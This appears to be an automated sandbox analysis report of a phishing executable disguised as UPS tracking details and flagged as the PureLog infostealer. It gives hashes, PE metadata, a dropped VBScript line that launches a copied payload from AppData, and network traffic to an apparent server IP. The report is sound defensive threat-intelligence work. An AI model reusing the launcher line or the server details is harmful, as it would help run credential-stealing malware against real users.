Process:	C:\Users\user\Desktop\UPS tracking details.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	88
Entropy (8bit):	4.777756199098866
Encrypted:	false
SSDEEP:	3:FER/n0eFHHo0nacwREaKC5wS42LAuHn:FER/lFHIcNwiaZ5wS4sAI
MD5:	3ACE037A2D117839F3613C0B9E00D855
SHA1:	D9A09126F2CB5513DA05AFA540821CBD456995D9
SHA-256:	DA19B480FC9AD8F705E165387C26F7B3CD4D5DF00E1DCDD65930C7A219264343
SHA-512:	F7921D6F6864C120385D999321B7DCD57DA1D94E4991CD76FC7D3CEB4816B973D5B332A81BC434B76423333239BA8C1DB1B62B8180A6343F1CC87904959C0637
Malicious:	true
Reputation:	low
Preview:	CreateObject("WScript.Shell").Run """C:\Users\user\AppData\Roaming\Remaining.exe"""

C:\Users\user\AppData\Roaming\Remaining.exe

Download File

Process:	C:\Users\user\Desktop\UPS tracking details.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	871424
Entropy (8bit):	7.242522011500155
Encrypted:	false
SSDEEP:	12288:vWMnQ1Kfk7AEYQCJSsFlsIQfYl2N3qWkj9d/qArFK6eNXwC94EBTR+:uj7AEYQCQaKbA63+jPqAUNXjBBT0
MD5:	28BADF3EB1AA6CE975FEE86E6EC1DC14
SHA1:	8F19C7DBDDE308E463B0412D73EA7083B1BCC816
SHA-256:	7F1764A28D27F381701D9254166241607A37A02EB2FE80D682BAF15236DA5B7E
SHA-512:	EB5DA8590065D4A289C75C4F3D3124ECC854398A7E846DDB2C2AEC5D136817E393CE8881C539B08D0F3EEE79E56CCAB5DBE0E57054ECCBE97769189CC73F356E
Malicious:	true
Yara Hits:	Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: C:\Users\user\AppData\Roaming\Remaining.exe, Author: Joe Security
Antivirus:	Antivirus: ReversingLabs, Detection: 21%
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L.... .g.................B...........a... ........@.. ....................................`.................................pa..K.................................................................................... ............... ..H............text....A... ...B.................. ..`.rsrc................D..............@..@.reloc...............J..............@..B.................a......H.......\|...L................i..........................................B(:...(....(......."+.(..:Z....0..............0..........+.(.V.3.(....o.......(......(:.....0.................................................(:.....0..............0..............0..............(:.....0.............A4..........................................................(:.....0..............(.......'........../G..........................(:.....0....................................

C:\Users\user\AppData\Roaming\Remaining.exe:Zone.Identifier

Download File

Process:	C:\Users\user\Desktop\UPS tracking details.exe
File Type:	ASCII text, with CRLF line terminators
Category:	modified
Size (bytes):	26
Entropy (8bit):	3.95006375643621
Encrypted:	false
SSDEEP:	3:ggPYV:rPYV
MD5:	187F488E27DB4AF347237FE461A079AD
SHA1:	6693BA299EC1881249D59262276A0D2CB21F8E64
SHA-256:	255A65D30841AB4082BD9D0EEA79D49C5EE88F56136157D8D6156AEF11C12309
SHA-512:	89879F237C0C051EBE784D0690657A6827A312A82735DA42DAD5F744D734FC545BEC9642C19D14C05B2F01FF53BC731530C92F7327BB7DC9CDE1B60FB21CD64E
Malicious:	false
Reputation:	high, very likely benign file
Preview:	[ZoneTransfer]....ZoneId=0

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Entropy (8bit):	7.242522011500155
TrID:	Win32 Executable (generic) Net Framework (10011505/4) 49.83% Win32 Executable (generic) a (10002005/4) 49.78% Generic CIL Executable (.NET, Mono, etc.) (73296/58) 0.36% Generic Win/DOS Executable (2004/3) 0.01% DOS Executable Generic (2002/1) 0.01%
File name:	UPS tracking details.exe
File size:	871'424 bytes
MD5:	28badf3eb1aa6ce975fee86e6ec1dc14
SHA1:	8f19c7dbdde308e463b0412d73ea7083b1bcc816
SHA256:	7f1764a28d27f381701d9254166241607a37a02eb2fe80d682baf15236da5b7e
SHA512:	eb5da8590065d4a289c75c4f3d3124ecc854398a7e846ddb2c2aec5d136817e393ce8881c539b08d0f3eee79e56ccab5dbe0e57054eccbe97769189cc73f356e
SSDEEP:	12288:vWMnQ1Kfk7AEYQCJSsFlsIQfYl2N3qWkj9d/qArFK6eNXwC94EBTR+:uj7AEYQCQaKbA63+jPqAUNXjBBT0
TLSH:	47058D6B6302CE19D7D52A753A67A1385331CD72E127BB4B261C217E1CE33791E863CA
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L.... .g.................B...........a... ........@.. ....................................`................................

File Icon


Icon Hash:	90cececece8e8eb0

Static PE Info

General

Entrypoint:	0x4d61be
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE
DLL Characteristics:	HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE
Time Stamp:	0x67C5209C [Mon Mar 3 03:23:08 2025 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	f34d5f2d4577ed6d9ceec516c1f5a744

Entrypoint Preview

Instruction
jmp dword ptr [00402000h]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0xd6170	0x4b	.text
IMAGE_DIRECTORY_ENTRY_RESOURCE	0xd8000	0x5a8	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0xda000	0xc	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x2000	0x8	.text
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x2008	0x48	.text

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x2000	0xd41c4	0xd4200	ba6bd17163f376d121c0f6f12e13206a	False	0.6835200906010607	data	7.249942036887339	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rsrc	0xd8000	0x5a8	0x600	6dd439aed2458fd8d396d86024daded4	False	0.4186197916666667	data	4.064477882806102	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0xda000	0xc	0x200	002bc9c51caa82a2c22b1086e5407b27	False	0.044921875	data	0.10191042566270775	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_VERSION	0xd80a0	0x31c	data			0.4271356783919598
RT_MANIFEST	0xd83bc	0x1ea	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with CRLF line terminators			0.5489795918367347

Imports

DLL	Import
mscoree.dll	_CorExeMain

Version Infos

Description	Data
Translation	0x0000 0x04b0
Comments
CompanyName
FileDescription	doggy tk
FileVersion	1.0.0.0
InternalName	doggy tk.exe
LegalCopyright	Copyright 2011
LegalTrademarks
OriginalFilename	doggy tk.exe
ProductName	doggy tk
ProductVersion	1.0.0.0
Assembly Version	1.0.0.0

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Mar 3, 2025 08:45:52.689549923 CET	49705	80	192.168.2.7	45.144.214.104
Mar 3, 2025 08:45:52.694655895 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:52.694756985 CET	49705	80	192.168.2.7	45.144.214.104
Mar 3, 2025 08:45:52.701298952 CET	49705	80	192.168.2.7	45.144.214.104
Mar 3, 2025 08:45:52.706388950 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:53.879551888 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:53.879576921 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:53.879590034 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:53.879600048 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:53.879611969 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:53.879625082 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:53.879623890 CET	49705	80	192.168.2.7	45.144.214.104
Mar 3, 2025 08:45:53.879637957 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:53.879650116 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:53.879653931 CET	49705	80	192.168.2.7	45.144.214.104
Mar 3, 2025 08:45:53.879662037 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:53.879683018 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:53.879683018 CET	49705	80	192.168.2.7	45.144.214.104
Mar 3, 2025 08:45:53.879704952 CET	49705	80	192.168.2.7	45.144.214.104
Mar 3, 2025 08:45:53.879723072 CET	49705	80	192.168.2.7	45.144.214.104
Mar 3, 2025 08:45:53.884787083 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:53.884800911 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:53.884812117 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:53.884865999 CET	49705	80	192.168.2.7	45.144.214.104
Mar 3, 2025 08:45:53.927818060 CET	49705	80	192.168.2.7	45.144.214.104
Mar 3, 2025 08:45:54.012824059 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:54.012840033 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:54.012851954 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:54.012866974 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:54.012881041 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:54.012893915 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:54.012898922 CET	49705	80	192.168.2.7	45.144.214.104
Mar 3, 2025 08:45:54.012948036 CET	49705	80	192.168.2.7	45.144.214.104
Mar 3, 2025 08:45:54.013462067 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:54.013473988 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:54.013484955 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:54.013530970 CET	49705	80	192.168.2.7	45.144.214.104
Mar 3, 2025 08:45:54.013631105 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:54.013643026 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:54.013672113 CET	49705	80	192.168.2.7	45.144.214.104
Mar 3, 2025 08:45:54.014502048 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:54.014513969 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:54.014524937 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:54.014537096 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:54.014548063 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:54.014553070 CET	49705	80	192.168.2.7	45.144.214.104
Mar 3, 2025 08:45:54.014575005 CET	49705	80	192.168.2.7	45.144.214.104
Mar 3, 2025 08:45:54.014611959 CET	49705	80	192.168.2.7	45.144.214.104
Mar 3, 2025 08:45:54.015486956 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:54.015505075 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:54.015511036 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:54.015522003 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:54.015537977 CET	49705	80	192.168.2.7	45.144.214.104
Mar 3, 2025 08:45:54.015563011 CET	49705	80	192.168.2.7	45.144.214.104
Mar 3, 2025 08:45:54.015614033 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:54.016293049 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:54.016339064 CET	49705	80	192.168.2.7	45.144.214.104
Mar 3, 2025 08:45:54.140646935 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:54.140697002 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:54.140710115 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:54.140831947 CET	49705	80	192.168.2.7	45.144.214.104
Mar 3, 2025 08:45:54.140862942 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:54.140902996 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:54.140914917 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:54.140938997 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:54.140950918 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:54.140964031 CET	49705	80	192.168.2.7	45.144.214.104
Mar 3, 2025 08:45:54.140989065 CET	49705	80	192.168.2.7	45.144.214.104
Mar 3, 2025 08:45:54.141772985 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:54.141789913 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:54.141808987 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:54.141822100 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:54.141833067 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:54.141834021 CET	49705	80	192.168.2.7	45.144.214.104
Mar 3, 2025 08:45:54.141855001 CET	49705	80	192.168.2.7	45.144.214.104
Mar 3, 2025 08:45:54.142674923 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:54.142685890 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:54.142698050 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:54.142716885 CET	49705	80	192.168.2.7	45.144.214.104
Mar 3, 2025 08:45:54.142719030 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:54.142733097 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:54.142741919 CET	49705	80	192.168.2.7	45.144.214.104
Mar 3, 2025 08:45:54.142766953 CET	49705	80	192.168.2.7	45.144.214.104
Mar 3, 2025 08:45:54.143593073 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:54.143613100 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:54.143629074 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:54.143642902 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:54.143655062 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:54.143662930 CET	49705	80	192.168.2.7	45.144.214.104
Mar 3, 2025 08:45:54.143698931 CET	49705	80	192.168.2.7	45.144.214.104
Mar 3, 2025 08:45:54.144498110 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:54.144509077 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:54.144529104 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:54.144541979 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:54.144556046 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:54.144565105 CET	49705	80	192.168.2.7	45.144.214.104
Mar 3, 2025 08:45:54.144607067 CET	49705	80	192.168.2.7	45.144.214.104
Mar 3, 2025 08:45:54.145381927 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:54.145404100 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:54.145416975 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:54.145427942 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:54.145441055 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:54.145442963 CET	49705	80	192.168.2.7	45.144.214.104
Mar 3, 2025 08:45:54.145554066 CET	49705	80	192.168.2.7	45.144.214.104
Mar 3, 2025 08:45:54.193490028 CET	49705	80	192.168.2.7	45.144.214.104
Mar 3, 2025 08:45:54.271709919 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:54.271724939 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:54.271733046 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:54.271776915 CET	49705	80	192.168.2.7	45.144.214.104
Mar 3, 2025 08:45:54.271822929 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:54.271841049 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:54.271852970 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:54.271863937 CET	49705	80	192.168.2.7	45.144.214.104
Mar 3, 2025 08:45:54.271893024 CET	49705	80	192.168.2.7	45.144.214.104
Mar 3, 2025 08:45:54.271902084 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:54.271914005 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:54.271943092 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:54.271955967 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:54.271956921 CET	49705	80	192.168.2.7	45.144.214.104
Mar 3, 2025 08:45:54.271970034 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:54.272016048 CET	49705	80	192.168.2.7	45.144.214.104
Mar 3, 2025 08:45:54.272836924 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:54.272849083 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:54.272860050 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:54.272871971 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:54.272882938 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:54.272892952 CET	49705	80	192.168.2.7	45.144.214.104
Mar 3, 2025 08:45:54.272893906 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:54.272907019 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:54.272912979 CET	49705	80	192.168.2.7	45.144.214.104
Mar 3, 2025 08:45:54.272917986 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:54.272928953 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:54.272937059 CET	49705	80	192.168.2.7	45.144.214.104
Mar 3, 2025 08:45:54.272959948 CET	49705	80	192.168.2.7	45.144.214.104
Mar 3, 2025 08:45:54.272979975 CET	49705	80	192.168.2.7	45.144.214.104
Mar 3, 2025 08:45:54.273684025 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:54.273706913 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:54.273720026 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:54.273765087 CET	49705	80	192.168.2.7	45.144.214.104
Mar 3, 2025 08:45:54.273802042 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:54.273814917 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:54.273825884 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:54.273840904 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:54.273845911 CET	49705	80	192.168.2.7	45.144.214.104
Mar 3, 2025 08:45:54.273861885 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:54.273868084 CET	49705	80	192.168.2.7	45.144.214.104
Mar 3, 2025 08:45:54.273875952 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:54.273915052 CET	49705	80	192.168.2.7	45.144.214.104
Mar 3, 2025 08:45:54.274739027 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:54.274749994 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:54.274761915 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:54.274782896 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:54.274792910 CET	49705	80	192.168.2.7	45.144.214.104
Mar 3, 2025 08:45:54.274795055 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:54.274810076 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:54.274823904 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:54.274826050 CET	49705	80	192.168.2.7	45.144.214.104
Mar 3, 2025 08:45:54.274841070 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:54.274852037 CET	49705	80	192.168.2.7	45.144.214.104
Mar 3, 2025 08:45:54.274853945 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:54.274876118 CET	49705	80	192.168.2.7	45.144.214.104
Mar 3, 2025 08:45:54.274914026 CET	49705	80	192.168.2.7	45.144.214.104
Mar 3, 2025 08:45:54.275609970 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:54.275631905 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:54.275644064 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:54.275701046 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:54.275707960 CET	49705	80	192.168.2.7	45.144.214.104
Mar 3, 2025 08:45:54.275712967 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:54.275727034 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:54.275738001 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:54.275748968 CET	49705	80	192.168.2.7	45.144.214.104
Mar 3, 2025 08:45:54.275749922 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:54.275763988 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:54.275775909 CET	49705	80	192.168.2.7	45.144.214.104
Mar 3, 2025 08:45:54.275789976 CET	49705	80	192.168.2.7	45.144.214.104
Mar 3, 2025 08:45:54.276598930 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:54.276611090 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:54.276623011 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:54.276633978 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:54.276642084 CET	49705	80	192.168.2.7	45.144.214.104
Mar 3, 2025 08:45:54.276664972 CET	49705	80	192.168.2.7	45.144.214.104
Mar 3, 2025 08:45:54.318691969 CET	49705	80	192.168.2.7	45.144.214.104
Mar 3, 2025 08:45:54.402520895 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:54.402538061 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:54.402550936 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:54.402564049 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:54.402611971 CET	49705	80	192.168.2.7	45.144.214.104
Mar 3, 2025 08:45:54.402661085 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:54.402673006 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:54.402676105 CET	49705	80	192.168.2.7	45.144.214.104
Mar 3, 2025 08:45:54.402709007 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:54.402713060 CET	49705	80	192.168.2.7	45.144.214.104
Mar 3, 2025 08:45:54.402744055 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:54.402754068 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:54.402767897 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:54.402782917 CET	49705	80	192.168.2.7	45.144.214.104
Mar 3, 2025 08:45:54.402790070 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:54.402796030 CET	49705	80	192.168.2.7	45.144.214.104
Mar 3, 2025 08:45:54.402802944 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:54.402815104 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:54.402847052 CET	49705	80	192.168.2.7	45.144.214.104
Mar 3, 2025 08:45:54.402869940 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:54.402880907 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:54.402894020 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:54.402910948 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:54.402915001 CET	49705	80	192.168.2.7	45.144.214.104
Mar 3, 2025 08:45:54.402925014 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:54.402951956 CET	49705	80	192.168.2.7	45.144.214.104
Mar 3, 2025 08:45:54.403007984 CET	49705	80	192.168.2.7	45.144.214.104
Mar 3, 2025 08:45:54.403662920 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:54.403675079 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:54.403691053 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:54.403702021 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:54.403717995 CET	49705	80	192.168.2.7	45.144.214.104
Mar 3, 2025 08:45:54.403722048 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:54.403733015 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:54.403745890 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:54.403755903 CET	49705	80	192.168.2.7	45.144.214.104
Mar 3, 2025 08:45:54.403784990 CET	49705	80	192.168.2.7	45.144.214.104
Mar 3, 2025 08:45:54.404078007 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:54.404320002 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:54.404331923 CET	80	49705	45.144.214.104	192.168.2.7
